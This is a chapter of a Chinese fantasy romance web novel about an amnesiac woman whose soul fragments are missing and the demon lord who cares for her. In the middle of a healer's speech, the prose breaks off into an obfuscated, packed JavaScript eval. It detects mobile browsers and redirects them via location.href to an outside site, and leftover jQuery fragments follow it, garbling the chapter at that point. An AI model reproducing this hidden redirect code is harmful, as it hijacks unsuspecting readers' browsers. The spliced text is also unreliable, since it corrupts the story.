4. 魂片

作品:《失忆后和魔尊成亲了

    惊竹等人呆愣在原地。


    最终还是殷时渊出声解答:“他们以为你不知道我们是夫妻。”


    他掩在袖间的手指捻掐了个诀,将钟伯他们三人拉进传音阵。


    “她以为我们成亲了。”殷时渊顿了顿,继续道,“别暴露了。”


    “特别是惊竹,做不好就回暮土刷石头去吧。”


    被点名的惊竹浑身轻颤,条件反射的顺着自家少主的话往下说:“对对对,这不是怕您不想嘛,所以问问看。”


    虞白闻言心里的疑虑消去几分,但仍然还是觉得有些不对劲。


    惊竹被她的眼神看得心虚,面上不显,但心里疯狂哀嚎。


    “老大,你这是逼我们上贼船啊。要是姑奶奶恢复记忆了,不得把我们揍死。”


    无情的殷时渊任由他哭嚎,也不准备解救他。


    惊竹只好换人求救:“钟伯、妹妹,帮帮忙,虞少主再盯下去我的脸要僵了!!”


    幸好另外两人还有点感情,接到求救后就出声转移虞白的注意力。


    “少主和少夫人的房间在那。”钟伯伸手往右。


    流萤上前引路:“请随我来。”


    惊竹安安分分地跟在身后,暗地里传声。


    “啧啧啧,钟伯你这声少夫人叫得这么顺口。”


    钟伯拢在袖子里的手动了动,说道:“你有意见?”


    “当然没意见。”惊竹说道,“要不是当年那件事,少主他们也不会——”


    走得好好的惊竹,手背一凉,随即麻意从那处传上肩膀,他的整只手臂顿时麻痹失去知觉,手背上红肿起来。


    意识到自己嘴快说错话,惊竹彻底噤声。


    走在前方的流萤无奈道:“哥,少主不让提及。”


    钟伯留下一句话就跟着走进房间。


    “一炷香后自会解,给你长长记性。”


    惊竹这下什么话都不敢再讲了,老实守在旁边,等药性过去。


    未发一言的殷时渊始终走在虞白身侧,唯有眼眸里的笑意悄然散去。


    室内沉香暗浮。


    殷时渊眸光落在虞白侧脸上,他的神情复杂,流转几瞬,最终开口道:“钟伯,麻烦帮忙看一下。”


    他喊住钟伯,请他帮忙查看虞白究竟为何失忆。


    钟伯点头回应,从袖中拿出一方帕子搭在虞白手腕上。


    仔细诊断后,他眉头皱起,接着抬手掐诀,划过眼眸。


    只见眼前的人灵神不全,魂片缺失大半。


    他神色大惊,反复确认。


    “如何?”殷时渊见他脸色不对,问道。


    钟伯起身说道:“少夫人魂片残缺,许是因此才导致记忆丢死。”


    “什么?!”


    闻言,流萤和惊竹两人皆是一惊。


    虞白不解:“什么是魂片?”


    “人有三魂七魄,修道者的灵神指的就是其中的主魂。”钟伯向她解释道,“而魂片则是灵神破碎成片,不再完整。”


    虞白:“那有办法恢复?”


    钟伯:“自然是有。”


    “寻回丢失的魂片,将其融入残留的灵神碎片之中即可。”


    虞白点点头。


    听起来也还好,能恢复就不是什么大问题。


    她抬眸看了看他们的脸色,宽慰道:“这不是能恢复么,你们别白着脸啊。”


    “凡人缺了一魂,性命都难保。”从方才就冷着脸的殷时渊,蹙眉看着她,“而对于修道者来说,灵神更为重要。但凡受到半点攻击伤害,都犹如剜心刮骨。”


    “你——”殷时渊唇瓣阖张,眉头紧锁。


    虞白对上他的眼眸。


    那双如幽静石潭般的眼眸,从见到她起就一直含着柔情笑意。


    她很喜欢他的眼睛,觉得很好看。


    可现在那缕时时拂过水面的春风停止了,水下似是暗藏汹涌,无端让人感到惧意。


    虞白瞧着那双漆黑眼瞳,却不觉得害怕。


    她看到了复杂神色里难以掩藏的悲伤。


    他是在伤心吗?


    因为她?


    殷时渊看见虞白伸手抚上他的脸。


    她的指尖碰了碰他的眼睛。


    钟伯他们早已悄然退了出去。


    屋内只有他们两人。


    愈加靠近的呼吸,湿润、潮热。


    像在清风楼里见到的灵蝶一样,交缠共舞。


    蓦地,心口传来绞痛。


    她弯腰抬手捂住。


    殷时渊立时扶住疼得站不稳的她。


    方才还将热意留在他眼角的指尖,倏地冰冷一片。


    殷时渊当即握住虞白的手,催动灵力,传入她的体内。


    源源不断的暖意从相贴的掌心流到躯体四肢。


    最终又汇聚在心口。


    剧痛慢慢被缓解。


    虞白靠在殷时渊身上,借力支撑着。


    冷汗浸湿两人的衣袍,殷时渊随手掐了个清洗诀,而后扶着她坐到躺椅里。


    他扯过锦被,将她包得严严实实的。


    又不放心地布下阵法,为她驱散寒意。


    “我去找钟伯,你等我回来跟你说,可以么?”殷时渊手撑在躺椅扶手上,询问她的意见。


    虞白缓过疼痛,但浑身仍然无力。


    她点头回道:“嗯,好。”


    *


    殷时渊关上房门,还没走出几步,就立时偏头闷声咳嗽。


    他抬手擦掉唇边溢出的血迹,继续朝钟伯房间迈步。


    钟伯房门没关,惊竹和流萤全聚在这里。


    殷时渊的咳嗽愈加严重,钟伯一看这情况就知道少主他又动用灵力。


    他连忙拿出瓷瓶,倒出一枚灰色丹药递给殷时渊。


    殷时渊服用过后,体内的混乱撕扯才渐渐停歇。


    他将刚才虞白的情况说给钟伯他们听。


    钟伯闻言斟酌道:“少夫人当初应是受白虎庇护,这才无碍。但她的灵神缺失,魂力无法支撑太久,所以刚刚才会如此。”


    “得尽快找回魂片。”


    流萤担忧地问道:“若是无法及时寻回呢?”


    灵神碎裂,魂片脱离体内,即便受到外力附在物件上,也无法存留过久。


    要是寻常人的魂片,不等百年,十年便会消散于天地间。


    少夫人修为高深,又有白虎护灵,这才撑到五百年后。


    但如今她失去记忆,魂片寻找更加困难。


    钟伯叹了口气:“轻则再次陷入沉睡修养,重则——”


    他看向少主,闭眼停顿,继续说:“重则就此离去。”


    “入轮回道。”


    惊竹攥紧手心,呢喃道:“灵神不全入轮回,会天生病弱,世世活不过二十,直至在凡尘轮回中灵神重新长全,方止。”


    这是他曾经在殷家藏书阁中翻看过的一本古籍上所记。


    他的脚背被流萤踩了一脚。


    惊竹说的这些记载殷时渊也看过。


    他哑声问钟伯:“目前可有办法缓解她的绞痛和寒症?”


    钟伯知道瞒不过他,思忖道:“每隔三日为少夫人渡灵可暂缓她的绞痛。”


    “至于寒症


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235604|166068||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    用法力和法器温养着即可。”


    流萤闻言拱手请命:“我愿为少夫人渡灵。”


    “不行。”钟伯摇摇头,“必须修为比少夫人高才有用。”


    在场的四人,只有殷时渊修为比虞白高。


    惊竹皱着眉头:“可是少主不能再动用灵力了。”


    殷时渊从随身空间里拿出一块血玉和一面铜镜。


    钟伯看着这两件法器丝毫不意外,了然道:“血玉可温体蕴神,用于治疗少夫人的寒症乃极佳。”


    “而青冥镜能吸收魔气转化为灵气。”


    惊竹盯着青冥镜,恨自己无用,帮不上忙。


    “十之一,总比少主他动用灵力遭受反噬好。”钟伯拍了拍惊竹的肩膀。


    虞家精心培养的少主,修为若是轻易被旁人比下,那岂不是笑话。


    殷时渊向钟伯他们道谢过后就离开回到他的房间。


    虞白窝在躺椅上,看着他抬步从外面走到她面前。


    手上多了一块血红朱玉和一个玄色瓷瓶。


    殷时渊将两样东西都放在她手上。


    她茫然地看着他。


    “这是什么?”


    “血玉和固灵丹。”殷时渊说道,“血玉能驱寒,固灵丹有利于你修养固稳灵神,每日服一颗。”


    固灵丹是钟伯后来塞给他的,说可以助虞白护灵,以保余下的残魂不再离裂。


    虞白点点头:“好,我记住了。”


    她拔开布塞,缓缓倾倒瓶身,倒出一颗半透明丹药。


    灵丹入口即化,最后残留的些微疼痛也就此随之痊愈,她的灵神渐渐稳固,身体的力气也慢慢涌回。


    完全恢复后,虞白将丹瓶收好,这才将视线重新放在血玉上。


    血红朱玉,颜色艳丽如血滴。


    不大,半个巴掌大小,周身源源不断的向外散发暖意。


    不到一刻钟,虞白的手心就被它烘得温热。


    见虞白脸色不在苍白,殷时渊轻声问道:“可还有不适?”


    虞白摇摇头,眼睛弯弯:“已经好了,谢谢你。”


    “你我之间不必道谢。”殷时渊眼睫低垂,覆盖住大半神色,“天色已晚,早点歇息吧。”


    今日经历了一连串事情,又突发绞痛,虞白的精神疲劳。方才窝在躺椅里就已经有了困意,只是寒意扰得她睡不着。


    “那你呢?”虞白坐起身问道。


    他的关切照料不似假意,而自己对他的触碰也不会排斥。


    和别人相比,她对殷时渊有股莫名的信任和好感。


    不像赵老他们有曾在模糊记忆片段里出现,她见到他的第一眼就认定他绝对不会伤害她。


    但是想到他们会同住一屋,共睡一床,虞白内心还是不由紧张。


    她不明白为什么会有这种情绪。


    可能是她没有关于他的记忆,所以才会这样吧……


    室内明亮,殷时渊清楚地看见虞白的耳尖染上一抹红粉。


    他无声闷笑,回答道:“钟伯说在寻到魂片前,你随时都有可能突发不适,须有人时刻在身边守着。”


    殷时渊没故意逗她,接着就说:“我就在隔壁房间,有事喊我名字就行。”


    “明日见。”他指尖点了点血玉示意她收好,说完就转身走了。


    虞白愣愣地看着他的背影,好半响才回神。


    脑海中殷时渊的笑颜萦绕许久才散去。


    她躺在床榻上,周身全是熟悉的味道,翻来覆去间,不禁猜想——


    她以前该不会是先看上殷时渊的容貌,才和人在一起的吧。